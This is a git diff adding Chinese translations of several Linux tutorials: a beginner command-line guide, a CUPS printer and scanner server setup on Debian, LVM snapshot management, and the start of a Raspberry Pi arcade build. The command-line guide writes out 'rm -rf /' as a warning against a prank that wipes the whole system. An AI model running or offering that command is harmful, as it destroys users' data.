X的类Unix环境**,只是因为这是我比较熟悉的。Linux用户应该已经很熟悉命令行了,不过新手也许还是会觉得这些小窍门有点用。如果你用的是Chromebook,Google对如何打开它自带的[命令行工具][3]已经给出了有用的指导,它和Mac或Linux系统有点类似。对于Windows用户,很不幸,受限于从MS-DOS衍生出的命令语言,它和Unix只有一点点交集,所以这篇指导对你没什么用;不过可以去看下[dosprompt.info网站里的资料][4]。 + +### 如何开始 ### + +你需要做的第一件事是搞清楚如何进入命令行,通常这是通过一个叫“shell”的软件来做的。在任意一台运行OS X的Mac上,需要启动终端应用。你可以通过Finder来打开(它是在应用程序下的实用工具目录里),或者点击屏幕右上角的放大镜然后输入“terminal”,然后在下拉列表里选择。 + +![](http://a4.files.readwrite.com/image/upload/c_fit,w_630/MTE4MDAzNDE2ODYxMjc5NzU4.png) + +你进来了,但是所有你看到的只是一个有输入空间的空白盒子。这就是命令行!让我们来更好地了解一下这个窗口。 + +输入`pwd`,它的意思是打印当前工作目录。在计算机语言里,“打印”什么和纸没一点关系。它实际上只是意味着吐点东西到屏幕上。这个命令运行的结果是让计算机返回你当前正处在的目录路径。(LCTT 译注,“打印”源于早期计算机的输出设备不是显示器,而是行式打印机,所以输出就是“打印”;在后期,有了显示器之后,在哑终端上操作远程主机时,输出才是“回显 echo”) + +![](http://a4.files.readwrite.com/image/upload/c_fit,w_630/MTIyMzk5Mjg5MDMzMjYyNjA0.png) + +实际上,`/Users/laurenorsini`是我的主目录。高级提示:你可以使用波浪符(~)作为自己主目录的简写 - 它和`/Users/你的用户名`是一样的。比如,你可以像`~/Downloads`这样引用你的下载目录。(如果你仔细看前面的命令提示,你会发现那里有一个波浪符。这说明我当前正在自己的主目录下。) + +我们肯定不希望我们的命令行试验把自己的主目录弄的一团糟,所以让我通过`mkdir`命令来创建一个新目录。这和在桌面操作系统里创建一个新目录是一样的。让我们把它叫做“experiments”: + +![](http://a4.files.readwrite.com/image/upload/c_fit,w_630/MTE5NDg0MDYxMTMwODUxODU1.png) + +现在我们有一个新目录了。如果使用图形界面的话,我们可以用自己的眼睛判断我们已经创建了一个新目录。当然,如果我打开Finder然后进入我的主目录(用一个小房子图标标记的)就会看到一个叫“experiments”的目录。我通过命令行实现的!(反过来:你可以在桌面系统里建立一个文件夹,然后在命令行下去查看。这只是同一套系统的两种不同表现方式。) + +![](http://a5.files.readwrite.com/image/upload/c_fit,w_630/MTE5NTU2MzIyNTM0MzI3ODE5.png) + +现在我需要通过**cd**(改变路径)命令改变路径进入到`~/experiments`目录中 + +![](http://a5.files.readwrite.com/image/upload/c_fit,w_630/MTE5NDg0MDYxMTMxMTEzOTk5.png) + +我的命令提示是系统默认设定,所以它自动显示我当前的工作目录。但是如果你的看起来不一样的话,这样可以让你确定“experiments”是当前工作目录:再一次输入**pwd**。它应该会告诉你当前工作目录是“experiments”。 + +### 建立存档 ### + +在写代码的每一天里我都通过命令行创建和编辑文件。它比使用图形用户界面更快是因为我可以在编辑完后马上就在命令行里测试我的程序。如果我正好同时需要推送到[GitHub][5]的话,好吧,那就更方便了。 + +现在你有一个新目录(也可以叫做仓库或文件夹)在你电脑上用来折腾。让我们从创建一个包含“你好世界”这句话的文件开始吧。有[很多种方式][6],在这里我用了**echo**命令。 + +![](http://a2.files.readwrite.com/image/upload/c_fit,w_630/MTE5NDg0MDYxMjQxMjgwMDE1.png) + +哦不!我拼错“newfile”了。这经常会碰到。让我们用两个步骤来改正它。首先,我将创建一个拼写正确的文件...(LCTT 译注:完全不必创建新文件,直接 mv 即可,相当于改名。) + +![](http://a3.files.readwrite.com/image/upload/c_fit,w_630/MTIxNDI3Mjk0MjA5ODAzNzg5.png) + +然后,我讲使用**mv**(移动)命令把拼写错误的就文件替换成我的新文件。通常都是这样,“**mv 旧文件 新文件**”。 + +![](http://a1.files.readwrite.com/image/upload/c_fit,w_630/MTIxNDI3Mjk0MjA5NzM4MjUz.png) + +关于**mv**要注意的:跟大多数命令一样,它是一个容易误导的强大命令。当我们“移动”`newfil.txt`到`newfile.txt`的时候,实际上会把第一个文件完全覆盖到第二个文件上。这样我写到newfile.txt里的内容将彻底消失,替换成我写到newfil.txt里的内容。 + +为了证明我的目录下只有一个文件,可以使用**ls**,清单命令,来获得目录下的所有文件清单。 + +![](http://a1.files.readwrite.com/image/upload/c_fit,w_630/MTIxNDI3Mjk0MTA3NTAyMDkz.png) + +看到了没?只有一个。然后如果我在图形界面下看下这个目录的话,也可以看到这个文件。 + +![](http://a3.files.readwrite.com/image/upload/c_fit,w_630/MTIyMzk5Mjg5MDM4OTY0MjM2.png) + +但是,它只是个空白文本文件(LCTT 译注,不是空白的,其内容是“Hello World”)。让我们用文本编辑器来输入点内容进去。在命令行下,我喜欢用`nano`编辑器,因为它很简单而且几乎在所有类型电脑上都可以使用。(LCTT 译注,作为 Linux 党,那肯定是要用 vi 的,不过 vi 对于初学者来说有一点点难。) + +这会在你的命令行窗口中马上打开编辑屏幕。一些基本的命令都为你列出来了。 + +![](http://a3.files.readwrite.com/image/upload/c_fit,w_630/MTIyMzk5Mjg5MDM5NjE5NTk2.png) + +写下你想说的话,然后通过CTRL + X退出。在它问你是否保存的时候,当然键入"Y"。 + +![](http://a4.files.readwrite.com/image/upload/c_fit,w_630/MTIxNDI3Mjk0MTA4MDkxOTE3.png) + +你也许已经猜到了,也可以在操作系统中用鼠标找到newfile.txt文件看到这些改动。这里你可以用任意喜欢的文本编辑器打开编辑这个你创建的文件。 + +如果你想永远删除这个文件,可以用**rm**(移除)命令: + +![](http://a2.files.readwrite.com/image/upload/c_fit,w_630/MTE5NTU2MzIyNTQxMzQwMTcx.png) + +注意一下,**rm**命令非常强大!在黑客论坛里有个[常用伎俩][7]就是说服一个命令行新手输入**rm -rf /**,然后他就把自己整个电脑上的所有文件都删掉了。命令里的“/”意思是电脑的最高级根目录-所有一切都在它之下。千万不要输入那行命令!(LCTT 译注:希望你在看完这句话之前没有真的输入了 rm -rf / !!!) + +### 延伸阅读 ### + +这只是无限可能的命令行的一个开始。你可以使用这个工具控制电脑的每一个方面,这也使得它强大的同时也很危险。保证在使用它们之前先看一下命令行提示,然后永远不要盲目输入任何陌生人推荐给你的语句。 + +我已经大概介绍了平时敲代码时常用的几个命令,但是有比这更多的理由去掌握命令行。如果你想更彻底地了解,也许可以试试: + +[命令行速成教程][8]。一套免费的扩展课程,涵盖了命令行应用的基础。 + +[命令行初学者启蒙][9]。Lifehacker收藏的一些适合初学者的很有用的命令。 + +[Mac OS X 命令行入门][10]。在线教育网站Treehouse极尽详细地介绍了命令行的基础。 + +现在文章看完了,你就更容易理解我之前写的那些代码教程了,因为如果不敲几个命令根本没法完成。如果你准备好了,我建议你去看看ReadWrite的[Git教程][11],它使用命令行来向你介绍协同编程。计算与你同在! + +*题图来自[Jason Scott][12];其他屏幕截图由Lauren Orsini提供给ReadWrite* + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/07/18/command-line-tutorial-intro + +作者:[Lauren Orsini][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://readwrite.com/author/lauren-orsini +[1]:http://readwrite.com/2014/07/08/what-makes-python-easy-to-learn +[2]:http://readwrite.com/2013/09/30/understanding-github-a-journey-for-beginners-part-1 +[3]:http://www.chromium.org/chromium-os/poking-around-your-chrome-os-device +[4]:http://dosprompt.info/ +[5]:http://www.github.com/ +[6]:http://www.cyberciti.biz/faq/unix-create-file-from-terminal-window-shell-prompt/ +[7]:http://www.urbandictionary.com/define.php?term=rm+-rf+%2F +[8]:http://cli.learncodethehardway.org/book/ +[9]:http://lifehacker.com/5633909/who-needs-a-mouse-learn-to-use-the-command-line-for-almost-anything +[10]:http://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line +[11]:http://readwrite.com/2013/09/30/understanding-github-a-journey-for-beginners-part-1 +[12]:http://en.wikipedia.org/wiki/Computer_terminal#mediaviewer/File:DEC_VT100_terminal.jpg diff --git a/published/201411/20140812 How to set up a USB network printer and scanner server on Debian.md b/published/201411/20140812 How to set up a USB network printer and scanner server on Debian.md new file mode 100644 index 0000000000..3783deed01 --- /dev/null +++ b/published/201411/20140812 How to set up a USB network printer and scanner server on Debian.md @@ -0,0 +1,174 @@ +在Debian上设置USB网络打印机和扫描仪服务器 +================================================================================ +假定你想要在你的家庭/办公网络中设置一台Linux打印服务器,而你手头上却只有USB打印机可用(因为他们比那些有着内建网络接口或无线模块的打印机要便宜得多)。此外,如果这些设备中有一台是一体化的,而你也想要通过网络共享其整合的扫描仪,这该怎么办?在本文中,我将介绍怎样安装并共享一台USB一体机(Epson CX3900喷墨打印机和扫描仪),一台USB激光打印机(Samsung ML-1640),以及作为锦上添花,配置一台PDF打印机。所有这一切,我们都将在GNU/Linux Debian 7.2 [Wheezy]服务器中实现。 + +尽管这些打印机看起来有点老旧了(我是在2007年买的Epson一体机,2009年买的激光打印机),但我仍然相信我从安装过程中学到的东西也一样能应用到该品牌的新产品和其它品牌中去:有一些预编译的.deb包驱动可用,而其它驱动可以从仓库中直接安装。毕竟,它是重要的基本原则。 + +### 先决条件 ### + +要设置网络打印机和扫描仪,我们将使用[CUPS][1],它是一个用于Linux/UNIX/OSX的开源打印系统。 + + # aptitude install cups cups-pdf + +**排障提示**:根据你的系统状况(这个问题很可能在手动安装包失败后,或者缺少依赖包的时候会发生),在安装cups和cups-pdf前端包管理系统可能会提示你卸载许多包以尝试解决当前依赖问题。如果这种情况真的发生,你只有两个选择: + +1)通过另外一个前端包管理系统安装包,如apt-get。注意,并不建议进行这样的处理,因为它不会解决当前的问题。 + +2)运行以下命令:aptitude update && aptitude upgrade。该命令会修复此问题,并同时更新包到最新版本。 + +### 配置CUPS ### + +为了能够访问CUPS的网页接口,我们需要至少对cupsd.conf文件(用于CUPS的服务器配置文件)进行一次最低限度的修改。在进行修改前,让我们为cupsd.conf做个备份副本: + + # cp cupsd.conf cupsd.conf.bkp + +然后,编辑原始文件(下面只显示了最为有关联的部分): + +- **Listen**:监听指定的地址和端口,或者域套接口路径。 +- **Location /path**:为该名字所代表的位置指定访问控制。 +- **Order**:指定HTTP访问控制顺序(allow,deny或deny,allow)。Order allow,deny是说允许规则先于(并且优先处理)拒绝规则。 +- **DefaultAuthType** (也可以用**AuthType**): 指定默认使用的认证类型。Basic是指使用/etc/passwd文件来认证CUPS中的用户。 +- **DefaultEncryption**:指定认证请求所使用的加密类型。 +- **WebInterface**:指定是否启用网页接口。 + +--- + + # Listen for connections from the local machine + Listen 192.168.0.15:631 + + # Restrict access to the server + + Order allow,deny + Allow 192.168.0.0/24 + + + # Default authentication type, when authentication is required + DefaultAuthType Basic + DefaultEncryption IfRequested + + # Web interface setting + WebInterface Yes + + # Restrict access to the admin pages + + Order allow,deny + Allow 192.168.0.0/24 + + +现在,让我们重启CUPS来应用修改: + + # service cups restart + +为了允许另外一个用户(除了root之外)修改打印机设置,我们必须像下面这样添加他/她到lp(授权对打印机硬件的访问并启用用户管理打印任务)和lpadmin(拥有打印优先)组。如果在你当前网络设置没有必要或不需要该设置,你可以不用理会该步骤。 + + # adduser xmodulo lp + # adduser xmodulo lpadmin + +![](https://farm4.staticflickr.com/3873/14705919960_9a25101098_o.png) + +### 通过网页接口配置网络打印机 ### + +1、 启动网页浏览器,并打开CUPS接口http://:Port,这里在我们的例子中是http://192.168.0.15:631: + +![](https://farm4.staticflickr.com/3878/14889544591_284015bcb5_z.jpg) + +2、 转到**管理**标签,然后点击*添加打印机*: + +![](https://farm4.staticflickr.com/3910/14705919940_fe0a08a8f7_o.png) + +3、 选择你的打印机;在本例中,**EPSON Stylus CX3900 @ debian (Inkjet Inkjet Printer)**,然后点击**继续**: + +![](https://farm6.staticflickr.com/5567/14706059067_233fcf9791_z.jpg) + +4、 是时候为打印机取个名字,并指定我们是否想要从当前工作站共享它: + +![](https://farm6.staticflickr.com/5570/14705957499_67ea16d941_z.jpg) + +5、 安装驱动——选择品牌并点击**继续**。 + +![](https://farm6.staticflickr.com/5579/14889544531_77f9f1258c_o.png) + +6、 如果打印机如果不被CUPS支持(没有在下一页中列出来),我们必须从生产厂家的网站上下载驱动(如[http://download.ebz.epson.net/dsc/search/01/search/?OSC=LX][2]),安装完后回到该页。 + +![](https://farm4.staticflickr.com/3896/14706058997_e2a2214338_z.jpg) + +![](https://farm4.staticflickr.com/3874/14706000928_c9dc74c80e_z.jpg) + +![](https://farm4.staticflickr.com/3837/14706058977_e494433068_o.png) + +7、 注意,预编译的.deb文件必须从我们使用的机器上发送(例如,通过sftp或scp)到打印服务器(当然,如果我们有一个直接的下载链接就更加简单了,而不用下载按钮了): + +![](https://farm6.staticflickr.com/5581/14706000878_f202497d0a_z.jpg) + +8、 在将.deb文件放到服务器上后,我们就可以安装了: + + # dpkg -i epson-inkjet-printer-escpr_1.4.1-1lsb3.2_i386.deb + +**排障提示**:如果lsb包(一个第三方Linux应用编写者可以依赖标准核心系统)没有安装,那么驱动会无法安装: + +![](https://farm4.staticflickr.com/3840/14705919770_87e5803f95_z.jpg) + +我们将安装lsb,然后尝试再次安装打印机驱动: + + # aptitude install lsb + # dpkg -i epson-inkjet-printer-escpr_1.4.1-1lsb3.2_i386.deb + +9、 现在,我们可以返回到第五步并安装打印机: + +![](https://farm6.staticflickr.com/5569/14705957349_3acdc26f91_z.jpg) + +### 配置网络扫描仪 ### + +现在,我们将继续配置打印机服务器来共享扫描仪。首先,安装[xsane][3],这是[SANE][4]——扫描仪快捷访问的前端: + + # aptitude install xsane + +接下来,让我们编辑/etc/default/saned文件以启用saned服务: + + # Set to yes to start saned + RUN=yes + +最后,我们将检查saned是否已经在运行了(很可能不在运行哦——那么我们将启动服务并再来检查): + + # ps -ef | grep saned | grep -v grep + # service saned start + +### 配置另一台网络打印机 ### + +通过CUPS,你可以配置多台网络打印机。让我们通过CUPS配置一台额外的打印机:Samsung ML-1640,它是一台USB打印机。 + +splix包包含了单色(ML-15xx, ML-16xx, ML-17xx, ML-2xxx)和彩色(CLP-5xx, CLP-6xx)Samsung打印机驱动。此外,此包的详细信息中指出,一些新命名的Samsung打印机,如Xerox Phaser 6100也适用此驱动。 + + # aptitude install splix + +然后我们将使用CUPS网页接口来安装打印机,就像前面一样: + +![](https://farm4.staticflickr.com/3872/14705957329_4f38a94867_o.png) + +### 安装PDF打印机 ### + +接下来,让我们在打印服务器上配置一台PDF打印机。这样,你就可以将来自客户计算机的文档转换成PDF格式了。 + +由于我们已经安装了cups-pdf包,PDF打印机就已经自动安装好了,可以通过网页接口验证: + +![](https://farm6.staticflickr.com/5558/14705919650_bc1a1e0b43_z.jpg) + +当选定PDF打印机后,文档将被写入可配置目录(默认是~/PDF),或者也可以通过后续处理命令进行复制。 + +在下一篇文章中,我们将配置桌面客户端来通过网络访问打印机和扫描仪。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/usb-network-printer-and-scanner-server-debian.html + +作者:[Gabriel Cánepa][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.gabrielcanepa.com.ar/ +[1]:https://www.cups.org/ +[2]:http://download.ebz.epson.net/dsc/search/01/search/?OSC=LX +[3]:http://www.xsane.org/ +[4]:http://www.sane-project.org/ diff --git a/published/201411/20140818 How to Take 'Snapshot of Logical Volume and Restore' in LVM--Part III.md b/published/201411/20140818 How to Take 'Snapshot of Logical Volume and Restore' in LVM--Part III.md new file mode 100644 index 0000000000..5f34b81685 --- /dev/null +++ b/published/201411/20140818 How to Take 'Snapshot of Logical Volume and Restore' in LVM--Part III.md @@ -0,0 +1,214 @@ +在 LVM中 录制逻辑卷快照并恢复(第三部分) +================================================================================ +**LVM快照**是以空间换时间时间的方式制作的lvm卷副本。它只在lvm中工作,并只在源逻辑卷发生改变时占用快照卷的空间。如果源卷的变化达到1GB这么大,快照卷同样也会产生这样大的改变。因而,对于空间有效利用的最佳途径,就是总是进行小的修改。如果快照将存储空间消耗殆尽,我们可以使用lvextend来扩容。而如果我们需要缩减快照所占用卷的大小,可以使用lvreduce。 + +![Take Snapshot in LVM](http://www.tecmint.com/wp-content/uploads/2014/08/Take-Snapshot-in-LVM.jpg) + +*在LVM中录制快照* + +如果我们在创建快照后意外地删除了无论什么文件,我们没有必要担心,因为快照里包含了我们所删除的文件的原始文件。创建快照时,很有可能文件已经存在了。不要改变快照卷,保持创建时的样子,因为它用于快速恢复。 + +快照不可以用于备份选项。备份是某些数据的基础副本,因此我们不能使用快照作为备份的一个选择。 + +#### 前置阅读 #### + +- [在Linux中使用LVM构建灵活的磁盘存储(第一部分)][1] +- [在Linux中扩展/缩减LVM(第二部分)][2] + +### 我的服务器设置 ### + +- 操作系统 — 安装有LVM的CentOS 6.5 +- 服务器IP — 192.168.0.200 + +#### 步骤1: 创建LVM快照 #### + +首先,使用‘**vgs**’命令检查卷组中的空闲空间以创建新的快照。 + + # vgs + # lvs + +![Check LVM Disk Space](http://www.tecmint.com/wp-content/uploads/2014/08/Check-LVM-Disk-Space.jpg) + +*检查LVM磁盘空间* + +正如你所见,在**vgs**命令输出中,我们可以看到有8GB的剩余空闲空间。所以,让我们为我的名为**tecmint_datas**的卷创建快照。处于演示的目的,我将会使用以下命令来创建1GB的快照卷。 + + # lvcreate -L 1GB -s -n tecmint_datas_snap /dev/vg_tecmint_extra/tecmint_datas + +或者 + + # lvcreate --size 1G --snapshot --name tecmint_datas_snap /dev/vg_tecmint_extra/tecmint_datas + +上面的两个命令都是干得同一件事: + +- **-s** – 创建快照 +- **-n** – 为快照命名 + +![Create LVM Snapshot](http://www.tecmint.com/wp-content/uploads/2014/08/Create-LVM-Snapshot.jpg) + +*创建LVM快照* + +此处,是对上面高亮要点的说明。 + +1. 我在此创建的快照的大小。 +2. 创建快照。 +3. 创建快照名。 +4. 新的快照名。 +5. 要创建快照的卷。 + +如果你想要移除快照,可以使用‘**lvremove**’命令。 + + # lvremove /dev/vg_tecmint_extra/tecmint_datas_snap + +![Remove LVM Snapshot](http://www.tecmint.com/wp-content/uploads/2014/08/Remove-LVM-Snapshot.jpg) + +*移除LVM快照* + +现在,使用以下命令列出新创建的快照。 + + # lvs + +![Verify LVM Snapshot](http://www.tecmint.com/wp-content/uploads/2014/08/Verify-LVM-Snapshot.jpg) + +*验证LVM快照* + +上面的你看到了吧,成功创建了一个快照。上面我用箭头标出了快照创建的源,它就是**tecmint_datas**。是的,因为我已经为**tecmint_datas l-volume**创建了一个快照。 + +![Check LVM Snapshot Space](http://www.tecmint.com/wp-content/uploads/2014/08/Check-LVM-Snapshot-Space.jpg) + +*检查LVM快照空间* + +让我们添加一些新文件到**tecmint_datas**里头。现在卷里大概有650MB左右的数据,而我我们的快照有1GB大。因此,有足够的空间在快照卷里备份我们的修改。这里我们可以使用下面的命令来查看到,我们的快照当前的状态。 + + # lvs + +![Check Snapshot Status](http://www.tecmint.com/wp-content/uploads/2014/08/Check-Snapshot-Status.jpg) + +*检查快照状态* + +你看到了,现在已经用掉了**51%**的快照卷,你要对你的文件作更多的修改都没有问题。使用下面的命令来查看更多详细信息。 + + # lvdisplay vg_tecmint_extra/tecmint_data_snap + +![View Snapshot Information](http://www.tecmint.com/wp-content/uploads/2014/08/Snapshot-Information.jpg) + +*查看快照信息* + +再来对上面图片中高亮的要点作个清楚的说明。 + +1. 快照逻辑卷名称。 +2. 当前使用的卷组名。 +3. 读写模式下的快照卷,我们甚至可以挂载并使用该卷。 +4. 快照创建时间。这个很重要,因为快照将跟踪此时间之后的每个改变。 +5. 该快照属于tecmint_datas逻辑卷。 +6. 逻辑卷在线并可用。 +7. 我们录制快照的源卷大小。 +8. 写时复制表大小,Cow = copy on Write,这是说对tecmint_data卷所作的任何改变都会写入此快照。 +9. 当前使用的快照大小,我们的tecmint_data有10GB,而我们的快照大小是1GB,这就意味着我们的数据大概有650MB。所以,如果tecmint_datas中的文件增长到2GB,现在的51%中的内容将增加到超过所分配的快照的大小,当然,我们在创建快照时会出现问题。这就意味着我们需要扩展逻辑卷大小(快照逻辑卷) +10. 给出快照组块的大小。 + +现在,让我们复制超过1GB的文件到**tecmint_datas**。让我们看看会发生什么。如果你那么做了,你将会见到‘**Input/output error**’这样的错误信息,它告诉你快照超出空间大小了。 + +![Add Files to Snapshot](http://www.tecmint.com/wp-content/uploads/2014/08/Add-Files-to-Snapshot.jpg) + +*添加文件到快照* + +如果该逻辑卷满了,它就会自动丢失新的数据,我们就不能再使用了,就算我们去扩展快照卷的大小也不行。最好的方法就是在创建快照时,创建一个和源一样大小的快照卷。**tecmint_datas**的大小是10GB,如果我们创建一个10GB大小的快照,它就永远都不会像上面那样超载,因为它有足够的空间来录制你的逻辑卷的快照。 + +#### 步骤2: 在LVM中扩展快照 #### + +如果我们需要在超过容量前扩展快照卷的大小,我们可以使用以下命令来完成此项任务。 + + # lvextend -L +1G /dev/vg_tecmint_extra/tecmint_data_snap + +现在,那里有总计2GB大小的快照空间。 + +![Extend LVM Snapshot](http://www.tecmint.com/wp-content/uploads/2014/08/Extend-LVM-Snapshot.jpg) + +*扩展LVM快照* + +接下来,使用以下命令来验证新的大小和写时复制表。 + + # lvdisplay /dev/vg_tecmint_extra/tecmint_data_snap + +要知道快照卷的大小使用**%**。 + + # lvs + +![Check Size of Snapshot](http://www.tecmint.com/wp-content/uploads/2014/08/Check-Size-of-Snapshot.jpg) + +*检查快照大小* + +然而,如果你的快照大小和源卷一样,我们就没有必要担心这些问题了。 + +#### 步骤3: 恢复快照或合并 #### + +要恢复快照,我们首先需要卸载文件系统。 + + # unmount /mnt/tecmint_datas/ + +![Un-mount File System](http://www.tecmint.com/wp-content/uploads/2014/08/Unmount-File-System.jpg) + +*卸载文件系统* + +只想检查挂载点是否卸载成功,可以使用下面的命令。 + + # df -h + +![Check File System Mount Points](http://www.tecmint.com/wp-content/uploads/2014/08/Check-Mount-Points.jpg) + +*检查文件系统挂载点* + +这里,我们的挂载已经被卸载,所以我们可以继续恢复快照。要恢复快照,可以使用**lvconvert**命令。 + + # lvconvert --merge /dev/vg_tecmint_extra/tecmint_data_snap + +![Restore LVM Snapshot](http://www.tecmint.com/wp-content/uploads/2014/08/Restore-Snapshot.jpg) + +*恢复LVM快照* + +在合并完成后,快照卷将被自动移除。现在我们可以使用**df**命令来查看分区大小。 + + # df -Th + +![Check Size of Snapshot](http://www.tecmint.com/wp-content/uploads/2014/08/Check-Snapshot-Space.jpg) + +在快照卷自动移除后,你可以用下面的命令查看逻辑卷大小。 + + # lvs + +![Check Size of Logical Volume](http://www.tecmint.com/wp-content/uploads/2014/08/Check-Size-of-LV.jpg) + +*检查逻辑卷大小* + +**重要**:要自动扩展快照,我们可以通过修改配置文件来进行。对于手动扩展,我们可以使用lvextend。 + +使用你喜欢的编辑器打开lvm配置文件。 + + # vim /etc/lvm/lvm.conf + +搜索单词autoextend。默认情况下,该值和下图中的类似。 + +![LVM Configuration](http://www.tecmint.com/wp-content/uploads/2014/08/LVM-Configuration.jpg) + +*LVM配置* + +修改此处的**100**为**75**,这样自动扩展的起始点就是**75**,而自动扩展百分比为20,它将自动扩容**百分之20**。 + +如果快照卷达到**75%**,它会自动为快照卷扩容**20%**。这样,我们可以自动扩容了。使用**wq!**来保存并退出。 + +这将把快照从超载导致下线事故中拯救出来,这也会帮助你节省更多时间。LVM是我们扩容以及获得其它众多特性如精简资源调配、拆卸、虚拟卷和使用精简池的唯一方法,让我们在下一个话题中来讨论吧。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/take-snapshot-of-logical-volume-and-restore-in-lvm/ + +作者:[Babin Lonston][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/babinlonston/ +[1]:http://linux.cn/article-3965-1.html +[2]:http://linux.cn/article-3974-1.html diff --git a/published/201411/20140819 Build a Raspberry Pi Arcade Machine.md b/published/201411/20140819 Build a Raspberry Pi Arcade Machine.md new file mode 100644 index 0000000000..989d059f75 --- /dev/null +++ b/published/201411/20140819 Build a Raspberry Pi Arcade Machine.md @@ -0,0 +1,135 @@ +给那些怀旧的游戏骨灰粉丝们:自制一台树莓派街机 +================================================================================ +**利用当代神奇设备来重温80年代的黄金记忆。** + +### 你需要以下硬件 ### + +- 一台树莓派以及一张4GBSD卡 +- 一台支持HDMI的LCD显示屏 +- 游戏手柄或者... +- 一个JAMMA街机游戏机外壳机箱 +- J-Pac或者I-Pac + +80年代有太多难忘的记忆;冷战结束,Quatro碳酸饮料,Korg Polysix合成器,以及Commodore 64家用电脑。但对于某些年轻人来说,这些都没有街机游戏机那样有说服力,或那种甜蜜的叛逆。笼罩着烟味和此起彼伏的8比特音效,它们就是在挤出来的时间里去探索的洞穴:50分钱和一个游戏币能让你消耗整个午餐时间,在这些游戏上磨练着你的技能:小蜜蜂,城市大金刚,蜈蚣,行星射击,吃豆小姐,火凤凰,R-Rype,大金刚,雷霆计划,铁手套,街头霸王,超越赛车,防卫者争战...噢,这个列表太长了。 + +这些游戏,以及玩这些游戏的街机机器,仍然像30年前那样有吸引力。不像年轻时候那样,现在可以不用装一兜零钱就能玩了,最终让你超越那些有钱的孩子以及他们无休止的‘继续游戏’。所以是时候打造一个你自己的基于Linux的街机游戏机了,然后挑战一下过去的最高分。 + +我们将会包括所有的步骤,来将一个便宜的街机游戏机器外壳变成一台Linux驱动的多平台复古游戏系统。但是这并不意味着你就一定要搭建一个同样的系统。比如说,你可以放弃那个又大又重还有潜在致癌性外壳的箱子本身,而是将内部控制核心装进一个旧游戏主机或同等大小的盒子里。或者说,你也可以简单地放弃小巧的树莓派,而将系统的大脑换成一台更强劲的Linux主机。举个例子,它可以作为运行SteamOS的一个理想平台,用来玩那些更优秀的现代街机游戏。 + +在之后的几个页面里,我们将搭建一台基于树莓派的街机游戏机,你应该也能从其中发现很多点子应用到你自己的项目上,即使它们和我们这个项目不太一样。然后因为我们是用无比强大的MAME来做这件事情,你几乎可以让它在任意平台上运行。 + +![](http://www.linuxvoice.com/wp-content/uploads/2014/08/picade3.png) + +*我们是在B+型号出来以前完成的这个项目。它应该也可以同样工作在更新的主板上,你应该不用一个带电源的USB Hub也可以* + +### 声明 ### + +强调一下,我们捣腾的电子器件可能会让你受到电击。请确保你做的任何改动都是有资质的电子工程师帮你检查过的。我们也不会深入讨论如何获取游戏,但是有很多合法的资源,例如基于MAME模拟器的老游戏,以及较新的商业游戏。 + +#### 第一步:街机机柜 #### + +街机机柜本身就是最大的挑战。我们在eBay上淘了个二手的90年代初的双人泡泡龙游戏机。然后花了£220装在一台旅行车后面送过来。类似这种机柜的价格并不确定。我们看到过很多在£100以内的。而另一方面,还有很多人愿意花数千块钱去买原版侧面贴纸完整的机器。 + +决定买一个街机机柜,主要有两个考虑。第一个是它的体积:这东西又大又重。又占地方,而且需要至少两个人才能搬动。如果你不缺钱的话,还可以买DIY机柜或者全新的小一点的,例如适合摆在桌子上的那种。然后,酒柜也能很合适。 + +![](http://www.linuxvoice.com/wp-content/uploads/2014/08/picade4.jpg) + +*这种机柜可能很便宜,但是他们都很重。不要一个人去搬。一些更古老的机器可能还会需要一点小关怀,例如重新喷个漆以及一些修理工作* + +除了获得更加真实的游戏体验以外,购买原版的街机机柜的一个绝佳理由是可以使用原版的控制器。从eBay上买到的大多数机器都支持两个人同时玩,有两个摇杆以及每个玩家各自的一些按钮,再加上玩家一和玩家二的选择按钮。为了兼容更多游戏,我们建议您找一台每个玩家都有6个按键的型号,这个是通用配置。也许你还想看看支持超过两位玩家的控制台,或者有空间放其他游戏控制器的,比如说街机轨迹球(类似疯狂弹珠这种游戏需要的),或者一个旋钮(打砖块)。这些待会都可以轻松装上去,因为有现成的现代USB设备。 + +控制器是第二考虑的,而且我们认为是最重要的,因为要通过它把你的摇动和拍打转变成游戏里的动作。当你准备买一个机柜时需要考虑一种叫JAMMA的东西,它是日本娱乐机械制造商协会(Japan Amusement Machinery Manufacturers Association)的缩写。JAMMA是街机游戏机里的行业标准,定义了包含游戏芯片的电路板和游戏控制器的连接方式,以及投币机制。它是一个连接两个玩家的摇杆和按钮的所有线缆的接口电路,把它们统一到一个标准的连接头。JAMMA就是这个连接头的大小以及引脚定义,这就意味着不管你安装的主板是什么,按钮和控制器都将会连接到相同功能接口,所以街机的主人只需要再更换下机柜上的外观图片,就可以招揽新玩家了。 + +但是首先,提醒一下:JAMMA连接头上带有12V电压供电,通常由大多数街机里都有的电源模块供给。为了避免意外短路或是不小心掉个螺丝刀什么的造成损坏,我们完全切断了这个供电。在本教程后面的任何阶段,我们也不会用到这个连接头上的任何电源脚。 + +![](http://www.linuxvoice.com/wp-content/uploads/2014/08/picade2.png) + +#### 第二步:J-PAC #### + +有一点非常方便,你可以买到这样一种设备,连接街机机柜里的JAMMA接头和电脑的USB端口,将机柜上的摇杆和按键动作都转换成(可配置的)键盘命令,它们可以在Linux里用来控制任何想玩的游戏。这个设备就叫J-Pac([www.ultimarc.com/jpac.html][1] – 大概£54)。 + 